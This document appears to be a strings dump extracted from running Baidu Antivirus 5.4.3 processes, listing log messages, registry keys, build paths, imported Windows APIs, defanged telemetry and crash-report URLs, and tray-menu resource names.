OpenProcess Error = %s

Read SubKey : %s

Query key= %s, subkey=%s failed!

Software\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

%s\%s

%d-%d-%d d:d:d:d (d)

HipsLogger.dll

`ReportComm.dll

[CComDataReport][Init] LoadEngineReport failed

[CComDataReport][Init] Initialize failed

[BavSvc][OnProcess] LoadEngineReport failed

[BavSvc][OnProcess] BeginMultiReport failed

log\perf.log

Start Report PointPerf: id:%d session:%d elapse:%d appstart:%s

[BavSvc][OnProcess] AddMultiReport failed

Failed to load BavScan.dll: 0x%x

Failed to GetProcAddress of DllGetClassObject: 0x%x

Failed to DllGetClassObject of BavScan: 0x%x

[ipcChannel::GetPipeHandle]

ClientBackground, pipe:%s, channel:%s

\\.\Pipe\%s

[ServerBackground] PIPEINST

CreateNamedPipe

LastError [%d]

[ClientBackground] DisconnectNamedPipe

intrusive_ptr_add_ref : %S %d

[IPC] Readfile from client pipe failed. Errorcode: %d.

failed to GetModuleFileName: 0x%x

[ServerAgent2] create window %s

(id:%d name:%S),

[ClientBackground2] IPCMessage (ID:%d name:%S)

[ClientBackground2] DisconnectNamedPipe

:0x%x

[ClientBackground2] SetNamedPipeHandleState

[IPC] Readfile from server pipe failed. Errorcode: %d.

ClientAgent2 pThis is Null, return: TID:%d

ClientAgent2 m_hCallbackWnd isn't Null, return: TID:%d

ClientAgent2 WNDCLASS isregistered, return: TID:%d, lastErr:%d

[ClientAgent2] create window %s

lastError: %d

(id: %d,name:%S),

[ClientAgent2] (id:%d name:%S)

log.dll

\sqlite.dll

To rebuild DB delete the damaged file: %s

Failed to delete the damaged file: 0x%x

failed to init database %s

Failed to bind in AddOneAVObject: %d

Failed to bind obj: %d

Failed to step to add: %d

Failed to sqlite3_prepare_v2 batch: %d

Failed to bind guid: %d

Failed to step insert: %d

Failed to bind guid(del): %d

Failed to step to del: %d

PCFaster.exe

5,4,3,147185

win %u.%u.%u

.BAVBAK

report_from

hXXps://sync.bav.baidu.com

SyncURL

%s/cgi-bin-py/statistic_msg.cgi?type=%s&guid=%s&ver=%s

%s/cgi-bin-py/get_bav_statistic_info.cgi

%s/cgi-bin/statistic_cloud_hits.cgi?guid=%s&type=%s&ver=%s

%s=%s

[d-d-d d:d:d]

hXXp://sync.bav.baidu.com

SyncHttp

SYSTEM\CurrentControlSet\Services\PSafe WEB

\Baidu\Antivirus\uurm.dat

UUReportFailDays

UUReportOKDays

UUReportLastFailDate

UUReportLastOKDate

UUReportOKLastVersion

FirstUUReportID

FirstUUReportTime

%s/cgi-bin/report_uu_msg_bavv2.cgi

%s\InstRptBls.dat

%s\%d

/up.cgi

BLSUUReportLastOKTime

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BavSvc

%s/cgi-bin/adware_hit.cgi?g=%s&v=%s

%d.%d.%d.%d

G%c|%u

{00021401-0000-0000-C000-000000000046}

Windows Vista

Windows Server 2008

Windows 7

Windows Server 2008 R2

Web Server Edition

Windows Server 2003 R2,

Windows Storage Server 2003

Windows XP Professional x64 Edition

Windows Server 2003,

Web Edition

Windows XP

Windows 2000

(build %d)

Bav.exe

Global\%s_perf_file_map

pathToSignedProductExe

pathToSignedReportingExe

%s%d bytes to %d wide chars

%d wide chars to %s%d bytes

No start tag for end tag '%s' at offset %d

End tag '%s' at offset %d does not match start tag '%s' at offset %d

Element '%s' at offset %d not ended

%s at offset %d unterminated

Incorrect %s at offset %d

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0

5.4.3.147185

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Dump

5.1.2600.5512 (xpsp.080413-211

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\uf.dat

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\log_fcf.dat

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\log_scf.dat

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\log_lwlh.dat

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\log_lwsh.dat

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\log_fcaf.dat

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\log_scaf.dat

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\EngineRpt.cfg

2.0.1.0

>5.4.3.147185

BHipsSvc.exe_3852:

.text

`.rdata

@.data

.rsrc

RSShLhF

RSSh@hF

vSSSh

FTPjK

FtPj;

C.PjRV

tGHt.Ht&

Product_CloudMgr_Public_Exe

Product_CloudMgr_Exe

Product_AppsRobo_Public_Exe

Product_AppsRobo_Exe

Product_Allinone_Public_Exe

Product_Allinone_Exe

Product_Newspark_Public_Exe

Product_Newspark_Exe

Product_Spark_Public_Exe

Product_Spark_Exe

Product_Ime_Public_Exe

Product_Ime_Exe

Product_AppStore_Public_Exe

Product_AppStore_Exe

Product_Pcf_Public_Exe

Product_Pcf_Exe

Product_Bav_Public_Exe

Product_Bav_Exe

%s$x$x

%s$%x

-60%!<:;

$x

;3:'84!<:;

msvcrt.dll

6666666666666666

CNotSupportedException

CCmdTarget

hhctrl.ocx

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

portuguese-brazilian

GetProcessWindowStation

USER32.DLL

OLEACC.dll

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btdefense\bhipssvc\BHipsSvc.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btdefense\bhipssvc\KernelService.cpp

KrnMsg

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btdefense\bhipssvc\MessageRoute.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\Channel.cpp

f:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\publiclib\ipc\ServerBackground2.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ServerBackground2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ServerAgent2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ClientBackground2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ClientAgent2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\BavOutput\Pdb\Release\BHipsSvc.pdb

USERENV.dll

WTSAPI32.dll

IMM32.dll

GetProcessHeap

DisconnectNamedPipe

CreateNamedPipeW

ConnectNamedPipe

WaitNamedPipeW

SetNamedPipeHandleState

GetWindowsDirectoryW

GetCPInfo

GetConsoleOutputCP

KERNEL32.dll

MsgWaitForMultipleObjectsEx

UnhookWindowsHookEx

GetKeyState

SetWindowsHookExW

USER32.dll

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GDI32.dll

WINSPOOL.DRV

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHLWAPI.dll

OLEAUT32.dll

VERSION.dll

PSAPI.DLL

.PAVCOleException@@

.PAVCException@@

.PAVCObject@@

.PAVCMemoryException@@

.PAVCSimpleException@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCArchiveException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

zcÁ

.?AV?$CSafeSingleton@VBugReportHelper@@@@

.?AVCHeapMemAlloc@BugReportHelper@@

.?AVBugReportHelper@@

.?AUKrnMsg@Msg@KRN_UI_protocol@@

.?AUPIPEINST2@@

N%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsSvc.exe

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

Dexplorer.exe

ShowBugReport

DumpConfig.ini

@BugReportConfig.ini

BugReportConfig

e\StringFileInfo\x\%s

\StringFileInfo\X

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

@config.ini

version.xml

BugReport

BavDllFilter.dll

SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

BavCommon.dll

ntdll.dll

PatchExportTable

BPatchMyImportTables

%S$%x

advapi32.dll

public %s

sub_%0X

%sloc_%0X

loc_%0X:

push %seg

pop %seg

setÌ

cmovÌ

66006666

xmm%d

st(%d)

%s (%0Xh)

 %0Xh

-%0Xh

%s:%s

%0Xh:%0Xh

%0Xh, %0Xh

BAD ptr %s

oword ptr %s

tbyte ptr %s

qword ptr %s

dword ptr %s

word ptr %s

byte ptr %s

%s (%s:%d)

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Ccomctl32.dll

Ccomdlg32.dll

Cshell32.dll

ole32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

commctrl_DragListMsg

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

mscoree.dll

KERNEL32.DLL

FKernel32.dll

SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion

SOFTWARE\Microsoft\Windows NT\CurrentVersion

CrashReport.exe

%d-%d-%d d:d:d:d (d)

HipsLogger.dll

BavSvc.exe

bd_hips_ui_4F994BDF-5E33-4989-9AE5-E470E8444D08

Receive unknown init msg

BavBsReport.exe

bd_av_ui_8EABE9C4-D18C-4f07-8353-831B9A8ED29A

[ipcChannel::GetPipeHandle]

ClientBackground, pipe:%s, channel:%s

\\.\Pipe\%s

A[ServerBackground] PIPEINST

[ServerBackground] PIPEINST

CreateNamedPipe

LastError [%d]

[ClientBackground] DisconnectNamedPipe

intrusive_ptr_add_ref : %S %d

[IPC] Readfile from client pipe failed. Errorcode: %d.

failed to GetModuleFileName: 0x%x

[ServerAgent2] create window %s

(id:%d name:%S),

[ClientBackground2] IPCMessage (ID:%d name:%S)

[ClientBackground2] DisconnectNamedPipe

:0x%x

[ClientBackground2] SetNamedPipeHandleState

[IPC] Readfile from server pipe failed. Errorcode: %d.

ClientAgent2 pThis is Null, return: TID:%d

ClientAgent2 m_hCallbackWnd isn't Null, return: TID:%d

ClientAgent2 WNDCLASS isregistered, return: TID:%d, lastErr:%d

[ClientAgent2] create window %s

lastError: %d

(id: %d,name:%S),

[ClientAgent2] (id:%d name:%S)

Akernel32.dll

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0

5.4.3.147185

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Dump

5.1.2600.5512 (xpsp.080413-211

5,4,3,147185

PennyBeeW.exe_404_rwx_03310000_0000C000:

6<.wWVj

BavTray.exe_248:

.text

`.rdata

@.data

.rsrc

8%u/P

SShG)

RSShT

QSShT

PSSSSSSh

vSSSh

It.It It!It

FTPjK

FtPj;

C.PjRV

tGHt.Ht&

htCP

Product_CloudMgr_Public_Exe

Product_CloudMgr_Exe

Product_AppsRobo_Public_Exe

Product_AppsRobo_Exe

Product_Allinone_Public_Exe

Product_Allinone_Exe

Product_Newspark_Public_Exe

Product_Newspark_Exe

Product_Spark_Public_Exe

Product_Spark_Exe

Product_Ime_Public_Exe

Product_Ime_Exe

Product_AppStore_Public_Exe

Product_AppStore_Exe

Product_Pcf_Public_Exe

Product_Pcf_Exe

Product_Bav_Public_Exe

Product_Bav_Exe

coredll.dll

mscoree.dll

RunExeW

RunExeA

SetRegKeySecurityW

SetRegKeySecurityA

ShellExecuteBDW

ShellExecuteBDA

f:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\include\bavuiinclude\CFileDownLoad.h

f:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\include\bavuiinclude\CAsyncGetFileIcon.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSourceCommonLib\Bav_Plug.cpp

ExportHipsAdBlockLog

SendEnableAdBlockMsg

PostCrashReport

SendMsgCommon

SendHipsSyncMsg2

SendHipsSyncMsg

SendKrnMsg

PostKrnMsgFromUI

PostKrnMsg

SetUrlTrustItem

GetUrlTrustList

OpenReport

DealReport

Error %d

GetLogicalProcessorInformation is not supported.

ntdll.dll

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\BavBasic\Include\ProcessProfile.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\CommDataReport.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavSourceCommonLib\CUserInfoReportMgr.cpp

[chs]proc = %s data up

weburl

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_118_item.pb.cc

report.Report118Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_77_item.pb.cc

report.Report77Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_124_item.pb.cc

report.Report124Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_131_item.pb.cc

report.Report131Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_122_item.pb.cc

report.Report122Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_117_item.pb.cc

report.Report117Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\DataReport\report_109_item.pb.cc

report.Report109Item

kernel32.dll

&&&&6666????

""""****

2222::::

$$$$\\\\

00006666

####====

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

ADVAPI32.DLL

GetProcessWindowStation

USER32.DLL

operator

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\message_lite.cc

CHECK failed: !coded_out.HadError():

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\io\coded_stream.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\wire_format_lite.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\stubs\common.cc

%d.%d.%d

libprotobuf %s %s:%d] %s

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\io\zero_copy_stream_impl_lite.cc

CHECK failed: backup_bytes_ == 0 && buffer_.get() != NULL:

thurl

defaulturl

egurl

brurl

cnurl

RegDeleteKeyExW

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\BavBasic\Include\ImplNoDisturb.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavTray\BavTray.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavTray\CTrayIcon.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\CFilterPid.h

f:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\bavtray\TrayAdvTools.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\PCFHelper.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavTray\TrayLogicWnd.cpp

[Pulgin_Dark_DeleteFileTip]get GetInstance() error = %d

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavTray\TrayMenu.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavTray\TraySubMenu.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\BavBasic\Include\BavUIInclude\Baidu_Plugin.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\CMCIPlayer.h

7438FEF7-71A6-4116-83C0-94C23BF3E228

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\Include\BavAboutDlg.h

CheckSecurityCodePassword

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavTray\TrayWnd.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavTray\PopMsgPicker.cpp

errmsg_exceptionW

varerrmsg_exceptionW

httpclientexceptionW

CHttpToolW::Unicode2Ansi: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpToolW::Ansi2Unicode: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpToolW::OpenConnection: hInternet can not be NULL.

CHttpToolW::OpenConnection: szServerAddr can not be NULL.

CHttpToolW::OpenConnection: szServerAddr can not be an empty string.

CHttpToolW::OpenRequest: hConnection can not be NULL.

CHttpToolW::OpenRequest: szObjectName can not be NULL.

CHttpToolW::OpenRequest: szObjectName can not be an empty string.

CHttpToolW::OpenRequest: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpToolW::AddHeader: hRequest can not be NULL.

CHttpToolW::AddHeader: szName can not be NULL.

CHttpToolW::SendRequest: hRequest can not be NULL.

CHttpToolW::SendRequest: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpToolW::InternetWriteFile: hRequest can not be NULL.

CHttpToolW::InternetWriteFile: pbyBuff can not be NULL.

CHttpToolW::InternetWriteFile: cbyBuff can not be zero.

CHttpToolW::EndRequest: hRequest can not be NULL.

CHttpToolW::FileExists: szFilePath can not be NULL.

CHttpToolW::OpenFile: szFilePath can not be NULL.

CHttpToolW::CreateFileAlwaysToWrite: szFilePath can not be NULL.

CHttpToolW::GetFileSize: hFile can not be NULL.

CHttpToolW::GetFileSize: szFilePath can not be NULL.

CHttpToolW::GetMimeType: hFile can not be NULL.

CHttpToolW::GetMimeType: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpToolW::GetStatusText: hRequest can not be NULL.

CHttpToolW::GetHeader: hRequest can not be NULL.

CHttpToolW::GetHeader: szName can not be NULL.

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\BavBasic\Include\BavUIInclude\SkinXMLParse.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavTray\SkinPicker.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavsourcecode\BavTray\ConfigReporter.cpp

[DirectUI_EncapLib] GetProc for %s failed!

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btcommon\DirectUI_EncapLib\DirectUI_EncapLib.cpp

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\_bavfr

[BAVFR]GetBavFR failed! RegOpenKeyExA failed!

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btcommon\BasicComponent\BavLogReporter\report_113_item.pb.cc

report.Report113Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavOutput\Pdb\Release\BavTray.pdb

USERENV.dll

SetProcessShutdownParameters

KERNEL32.dll

USER32.dll

GDI32.dll

RegCreateKeyExW

RegQueryInfoKeyW

RegDeleteKeyW

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegFlushKey

RegOpenKeyW

ADVAPI32.dll

ShellExecuteExW

ShellExecuteA

ShellExecuteW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHDeleteKeyW

SHLWAPI.dll

COMCTL32.dll

WINMM.dll

IMM32.dll

WTSAPI32.dll

WinHttpCreateUrl

WinHttpReceiveResponse

WinHttpSetOption

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpOpen

WinHttpOpenRequest

WinHttpReadData

WinHttpSetCredentials

WinHttpAddRequestHeaders

WINHTTP.dll

VERSION.dll

PSAPI.DLL

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

CloseWindowStation

OpenWindowStationW

RegOpenKeyExA

WS2_32.dll

.?AV?$CSafeSingleton@VCCommDataReport@@@@

.?AVCCommDataReport@@

.?AVReport118Item@report@@

.?AVReport77Item@report@@

.?AVReport124Item@report@@

.?AVReport131Item@report@@

.?AVReport122Item@report@@

.?AVReport117Item@report@@

.?AVReport109Item@report@@

.?AV?$CSafeSingleton@VBugReportHelper@@@@

.?AVCHeapMemAlloc@BugReportHelper@@

.?AVBugReportHelper@@

zcÁ

.?AVCSrvMsgPickBase@@

.?AV?$CComObjectNoLock@V?$CCallBackKey@VTrayWnd@@@@@ATL@@

.?AUICallBackKey@@

.?AV?$CCallBackKey@VTrayWnd@@@@

.?AV?$CComPtrBase@V?$CCallBackKey@VTrayWnd@@@@@ATL@@

.?AV?$CComPtr@V?$CCallBackKey@VTrayWnd@@@@@ATL@@

.?AV?$CComSinkPtr@V?$CCallBackKey@VTrayWnd@@@@@@

.?AV?$CCallBackKeyPtr@VTrayWnd@@@@

.?AVCRegKey@ATL@@

.?AVCMyRegKeyBase@@

.?AVCMyRegKey64@@

.?AVCPopMsgPicker@@

.?AVhttpclientexceptionW@Ryeol@@

.?AVvarerrmsg_exceptionW@Ryeol@@

.?AVvarerrmsg_exceptionA@Ryeol@@

.?AVerrmsg_exceptionW@Ryeol@@

.?AVerrmsg_exceptionA@Ryeol@@

.?AV?$CHttpClientT@VCHttpToolW@Ryeol@@VCHttpEncoderW@2@@Ryeol@@

.?AV?$CHttpPostStatT@VCHttpToolW@Ryeol@@@Ryeol@@

.?AV?$CHttpResponseT@VCHttpToolW@Ryeol@@@Ryeol@@

.?AV?$CHttpClientMapT@VCHttpToolW@Ryeol@@@Ryeol@@

.?AVhttpclientexceptionA@Ryeol@@

.?AVCConfigReporter@@

.?AVReport113Item@report@@

t?ÅIL

.fffd

'O.jom

.CS`X&

dZ=%XP<

>2-.eZXV

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

ShowBugReport

DumpConfig.ini

_ServerStore.dat

BugReportConfig.ini

CrashUL.exe

BugReportConfig

BugInfoUploadURL

BugURL

hXXp://bug.bav.baidu.com

Baidu Crash Report

CrashCallBackExe

/cgi-bin-py/dump_controler.cgi

product=%s;guid=%s;type=%d;

hXXp://

serverreported

/Start:%s /Program:%s /Path:%s /Version:%s /Module:%s /App:%s /ID:%s /Email:%s /DumpPath:%s

trayreported

l\StringFileInfo\x\%s

\StringFileInfo\X

version.xml

BugReport

eg.bav

br.bav

CrashReportModuleConf.ini

BavDllFilter.dll

BavCommon.dll

\BavAdvTools.dll

rBavPBMisc.dll

PushTask:%s,%d

ReportMgr: Failed to push num.

ReportMgr isn't running now.

[HungMonitor] Failed to call stop:%d.

[HungMonitor] Failed to call start:%d.

push task:%d

can't find uid:%d

UnRegisterSrv end uid:%d

UnRegisterSrv can't find uid:%d

uid:%d

start thread:%d

RegisterSrv already find the same:%d

RegisterSrv:%d

Plugins\IPlug_Hips\IPlug_Hips.dll

Plugins\IPlug_Scan\IPlug_Scan.dll

strr.dat

%d_%s_%d_%s

numr.dat

Query key= %s, subkey=%s failed!

Read SubKey : %s

I\\.\PhysicalDrive%d

[CComDataReport][Init] Initialize failed

[CComDataReport][Init] LoadEngineReport failed

%d----%d

ReportUsrSystemInfo OS Version:%d

ReportUsrSystemInfo Disk Size:%I64d Speed:%d

ReportUsrSystemInfo Memory Size:%lu B

ReportUsrSystemInfo Cpu:%d CpuThread:%d CpuFreq:%dMHZ DataCache:%dKB InsCache:%dKB

ReportUsrConfig delete temp config file Failed

ReportUsrConfig Copy config file Failed

\log\config_tmp.ini

[Report] Failed to get sys info (timeout).

http\shell\open\command

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

P%u.%u.%u.%u

AtomCopyFile_%d_%d_%d.tmp

SogouExplorer.exe

baidubrowser.exe

shell32.dll

Visual C   CRT: Not enough memory to complete call to strerror.

KERNEL32.DLL

c:\crash.ini

Mntdll.dll

CrashReport.exe

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Advapi32.dll

config.ini

Puser32.dll

Bav.exe

AppStartInMs2PC:%d, AppStartInMs:%I64u

[TrayWnd] Create err:%x

BavTray_B9EA4A3C-8AB9-4d8f-AA10-19D4B43360F1

[TrayWnd] Failed to call CreateFileMapping, ErrorCode:%x

[TrayWnd] Failed to call MapViewOfFile, ErrorCode:%x

[TrayWnd] cmd is Tray_Start_From_UI

[TrayWnd] cmd is Tray_Start_From_AutoRun

[TrayWnd] cmd is UpdateVersion

[TrayWnd] Post updateversion msg to UI

[TrayWnd] cmd is RightMenuDelete

[BavTray] cmd is Tray_Start_From_Svc

[BavTray] cmd is others

[BavTray] cmd is Tray_Restart

[TrayWnd] Failed to CreateEvent, error code:%x

[TrayWnd] CreateEvent, error code:%x

[TrayWnd] wait event, err code:%d

Open UI Process %x

[TrayWnd] Wait UI Process, result is %d

[TrayIcon] Icon loading cx: %d cy: %d

[TrayIcon] LoadImage Failed. Error code: %x

[TrayIcon] TrayIcon loading result code: %x

[TrayIcon] Failed to add TrayIcon,last error code: %x

[TrayIcon] Failed to delete TrayIcon after add icon, last error code: %x

[TrayIcon] Failed to delete TrayIcon,last error code: %x

\config.ini

PopMsgInfoPickCount

[FilterPid] Current Process id is :%d

Failed to call CreateToolhelp32Snapshot,Last Error:%x

Failed to call Process32First,Last Error:%x

csrss.exe

explorer.exe

[FilterPid] Filtered Process id is :%d

[FilterPid] Parent Process id is :%d

%s\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\tool\BsrGUI.exe

%s\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\tool\BsrSvc.exe

%s %d

\BavAdvTools\6BA17A92-4345-49c0-A228-A57C2E779055\tool\FileShredder.exe

[TrayWnd] OpenProcessToken %d

hBavAdvTools.dll

is_str_has_spark: We found the spark sub key(%s).

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Spark

BavUpdater.exe

bdMiniDownloaderGB_BAV-Mini_32_1002.exe

5.0.3

%SystemRoot%\SysWow64\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1

%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1

ReportCommRetry.exe

start ReportCommRetry.exe succ

start ReportCommRetry.exe failed

BavTrayLogicWnd:%d

Pulgin_Dark_DeleteFileTip.dll

[Pulgin_Dark_DeleteFileTip]path not exist =%d, path=%s

[Pulgin_Dark_DeleteFileTip]load error =%d, path=%s

[TrayLogicWnd] Failed to enum display monitors,err code:%x

[TrayLogicWnd] Power broadcast, wParam is %d

[TrayLogicWnd] Failed to get power status, err code:%d

BavWebClient.exe

[TrayWnd] Failed to start bavwebclient.

[TrayWnd] Launch %s %s

d:d

%s|%d|%d|%d|%s|%d|%d

[TrayWnd] Failed to start UI, msg wParam %x lParam %x will be abandoned

[TrayWnd] PostMessage WM_HANDLEUIMSGS wParam %x,return %d, error code: %x

\dynamicskin\Temp\SkinRules.xml

WebClientPopUpImmediately

\Feedback.exe

[TrayLogicWnd] [OnAppBarMsg] FULLSCREEN %d

[TrayLogicWnd] Process id is LT:%d LB:%d RT:%d RB:%d

BavTray.exe

TrayLogicWnd: fullscreen process id is %x

[TrayLogicWnd] [SaveFullScreenStatus] FULLSCREEN %d

[TrayWnd] Failed to get local time: err:%d.

tray.menu.btn.protect.on

tray.menu.btn.protect.sub

BavTray.menu.DisableProtection

BavTray.menu.ProtectionPartOn

tray.menu.btn.disturb

window.bavtray.menu

tray.menu.btn.exit

tray.menu.btn.feedback

tray.menu.btn.about

tray.menu.btn.open

tray.menu.btn.scan

tray.menu.btn.setting

tray.submenu.btn.time0

tray.submenu.btn.time1

tray.submenu.btn.time2

tray.submenu.btn.time3

tray.submenu.btn.time4

tray.submenu.btn.openall

BavTray.menu.Exit

BavTray.menu.About

BavTray.menu.Feedback

tray.menu.layout.bttom.exit

tray.menu.layout.bttom.about

tray.menu.layout.bttom.feedback

Awindow.bavtray.submenu

BavTray.menu.time0

BavTray.menu.enableall

BavTray.menu.time4

CTrayMenu::AjustWindowPos (%d, %d, %d, %d)

keyloggerdefense

[Bav_PluginManager] Load Inner Plugin:%d

h[Bav_PluginManager] Load Outer Plugin:%d

Got handle from dll pre-load:%s

Pre-load dll %s

%s %s

msg.btn.close

bavtray.msgbox.exit.confirm

button.radio.exit

button.radio.disable

bavtray.disable.combobox

button.radio.enable

button.msgbox.cancel

button.msgbox.ok

BavTray.diable.protection

BavTray.enable.silent

BavTray.combobox.time0

BavTray.combobox.time1

BavTray.combobox.time2

BavTray.combobox.time3

bavtray.msgbox.recommend.schedulescan

button.msgbox.ignore

button.msgbox.enable

bavtray.recomm.note

BavTray.msgbox.recomnote.before

BavTray.msgbox.recomnote

BavTray.msgbox.recomnote.after

bavtray.recomm.notebefore

bavtray.recomm.noteafter

bavtray.msgbox.recommend.fileshredder

file_shredder_tips_line%d

file_shredder_tips%d_line%d_text%d

text%d

%s\shell\open\command

[MCIPlayer] open mciSendError:%s

[MCIPlayer] play mciSendError:%s

I18N\%d\Font

I18N\%d\%s

%s\I18N\%d

%s\I18N\%d\Font

%s\I18N\%d\%s

%s%s%s\Font

%s%s%s\%s

%s\%s

%s\dynamicskin\%s.bskin

%s.zip

com.wnd.aboutus

